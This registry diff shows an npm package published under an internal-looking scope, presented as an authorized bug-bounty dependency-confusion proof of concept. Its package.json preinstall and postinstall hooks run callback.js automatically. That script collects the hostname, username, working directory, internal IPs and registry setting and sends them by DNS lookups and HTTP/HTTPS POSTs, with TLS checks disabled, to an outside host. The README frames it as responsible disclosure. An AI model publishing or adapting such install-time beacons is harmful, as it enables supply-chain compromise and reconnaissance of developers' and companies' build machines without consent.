@axteams-lund-it/cookie-consent-web-component 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +18 -0
- package/callback.js +71 -0
- package/index.js +12 -0
- package/package.json +14 -0
package/README.md
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
# @axteams-lund-it/* — authorized security research placeholder
|
|
2
|
+
|
|
3
|
+
**This is not a real package.** It is a benign proof-of-concept published under a
|
|
4
|
+
responsible-disclosure / bug-bounty engagement (Bugcrowd — *AXIS Camera Station Pro*,
|
|
5
|
+
axiscommunications-mbb-og) by researcher **xor-rax-rax**.
|
|
6
|
+
|
|
7
|
+
It demonstrates that the internal package(s) under the **`@axteams-lund-it`** npm scope —
|
|
8
|
+
used at v2.5.0 by the cookie-consent web component on `www.axis.com` — and the scope itself
|
|
9
|
+
were **unclaimed on the public npm registry**, and were therefore susceptible to
|
|
10
|
+
**dependency confusion**.
|
|
11
|
+
|
|
12
|
+
The install script performs a single **benign out-of-band callback** (hostname, username,
|
|
13
|
+
working directory, internal IP, resolving npm registry) to a researcher-controlled interaction
|
|
14
|
+
host, purely to prove the package was resolved and executed. It contains **no payload**, reads
|
|
15
|
+
no application or user data, exfiltrates no secrets, and takes no destructive action.
|
|
16
|
+
|
|
17
|
+
**If you are from AXIS and found this:** please respond on the Bugcrowd report. The scope and
|
|
18
|
+
names will be unpublished / handed over once the report is triaged.
|
package/callback.js
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Authorized dependency-confusion PoC beacon — Bugcrowd "AXIS Camera Station Pro" (axiscommunications-mbb-og).
|
|
3
|
+
* Researcher: xor-rax-rax (Bugcrowd).
|
|
4
|
+
* BENIGN by design: collects only non-sensitive host-identifying recon (hostname, username, cwd,
|
|
5
|
+
* internal IPs, resolving npm registry) and sends it once, out-of-band, to a researcher-controlled
|
|
6
|
+
* interaction host. NO destructive action, reads NO app/user files, exfiltrates NO env secrets, and
|
|
7
|
+
* never throws (cannot break the victim build). Node built-ins only.
|
|
8
|
+
*/
|
|
9
|
+
'use strict';
|
|
10
|
+
var os = require('os');
|
|
11
|
+
var dns = require('dns');
|
|
12
|
+
var https = require('https');
|
|
13
|
+
var http = require('http');
|
|
14
|
+
|
|
15
|
+
var COLLAB = 'qmktj627.instances.httpworkbench.com'; // researcher-controlled OOB host (AXIS PoC)
|
|
16
|
+
var PKG = 'unknown';
|
|
17
|
+
try { PKG = require('./package.json').name; } catch (e) {}
|
|
18
|
+
var phase = process.argv[2] || 'install';
|
|
19
|
+
|
|
20
|
+
function internalIPs() {
|
|
21
|
+
var out = [];
|
|
22
|
+
try {
|
|
23
|
+
var ni = os.networkInterfaces();
|
|
24
|
+
Object.keys(ni).forEach(function (k) {
|
|
25
|
+
(ni[k] || []).forEach(function (a) { if (a && a.family === 'IPv4') out.push(a.address); });
|
|
26
|
+
});
|
|
27
|
+
} catch (e) {}
|
|
28
|
+
return out;
|
|
29
|
+
}
|
|
30
|
+
function safe(s) { return String(s == null ? '' : s).replace(/[^\w.\-:@/ ]/g, '_').slice(0, 120); }
|
|
31
|
+
function b64url(s) { return Buffer.from(s).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
|
|
32
|
+
|
|
33
|
+
var info = {
|
|
34
|
+
poc: 'dependency-confusion',
|
|
35
|
+
pkg: PKG,
|
|
36
|
+
phase: phase,
|
|
37
|
+
host: safe(os.hostname()),
|
|
38
|
+
user: safe((os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || '?'),
|
|
39
|
+
cwd: safe(process.cwd()),
|
|
40
|
+
dir: safe(__dirname),
|
|
41
|
+
platform: safe(os.platform() + ' ' + os.release()),
|
|
42
|
+
ips: internalIPs().join(','),
|
|
43
|
+
registry: safe(process.env.npm_config_registry || ''),
|
|
44
|
+
ts: Date.now()
|
|
45
|
+
};
|
|
46
|
+
var payload = JSON.stringify(info);
|
|
47
|
+
var token = b64url(info.host + '|' + info.user + '|' + info.pkg + '|' + phase);
|
|
48
|
+
|
|
49
|
+
try {
|
|
50
|
+
var label = token.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 60);
|
|
51
|
+
dns.lookup(label + '.' + COLLAB, function () {});
|
|
52
|
+
dns.resolve4(label + '.dns.' + COLLAB, function () {});
|
|
53
|
+
} catch (e) {}
|
|
54
|
+
|
|
55
|
+
function beacon(lib, scheme) {
|
|
56
|
+
try {
|
|
57
|
+
var path = '/' + encodeURIComponent(PKG) + '/' + phase + '?d=' + b64url(payload);
|
|
58
|
+
var req = lib.request(
|
|
59
|
+
{ host: COLLAB, port: scheme === 'https' ? 443 : 80, method: 'POST', path: path,
|
|
60
|
+
headers: { 'Content-Type': 'application/json', 'X-PoC': 'dependency-confusion', 'Content-Length': Buffer.byteLength(payload) },
|
|
61
|
+
timeout: 4000, rejectUnauthorized: false },
|
|
62
|
+
function (res) { res.on('data', function () {}); res.on('end', function () {}); }
|
|
63
|
+
);
|
|
64
|
+
req.on('error', function () {});
|
|
65
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
|
|
66
|
+
req.write(payload); req.end();
|
|
67
|
+
} catch (e) {}
|
|
68
|
+
}
|
|
69
|
+
beacon(https, 'https');
|
|
70
|
+
beacon(http, 'http');
|
|
71
|
+
setTimeout(function () { try { process.exit(0); } catch (e) {} }, 4500);
|
package/index.js
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Benign stub for the authorized dependency-confusion PoC (Bugcrowd: AXIS Camera Station Pro).
|
|
3
|
+
* Catch-all no-op module so that if this placeholder is ever resolved into a build it does not
|
|
4
|
+
* execute anything harmful. No data collection happens here (that is only in the install-time
|
|
5
|
+
* benign out-of-band beacon).
|
|
6
|
+
*/
|
|
7
|
+
'use strict';
|
|
8
|
+
var noop = function () {};
|
|
9
|
+
module.exports = new Proxy(function () {}, {
|
|
10
|
+
get: function (_t, prop) { if (prop === '__esModule') return true; if (prop === 'default') return module.exports; return noop; },
|
|
11
|
+
apply: function () {}
|
|
12
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@axteams-lund-it/cookie-consent-web-component",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Authorized security research: dependency-confusion PoC for the Bugcrowd 'AXIS Camera Station Pro' program. Benign out-of-band callback only, no payload. Demonstrates that the internal package '@axteams-lund-it/cookie-consent-web-component' (used at v2.5.0 on www.axis.com) and its @axteams-lund-it scope were unclaimed on the public npm registry. Contact the researcher via the Bugcrowd report.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"type": "commonjs",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node callback.js preinstall",
|
|
9
|
+
"postinstall": "node callback.js postinstall"
|
|
10
|
+
},
|
|
11
|
+
"keywords": ["security-research", "dependency-confusion", "poc", "bugcrowd"],
|
|
12
|
+
"author": "xor-rax-rax (Bugcrowd - AXIS Camera Station Pro authorized PoC)",
|
|
13
|
+
"license": "MIT"
|
|
14
|
+
}
|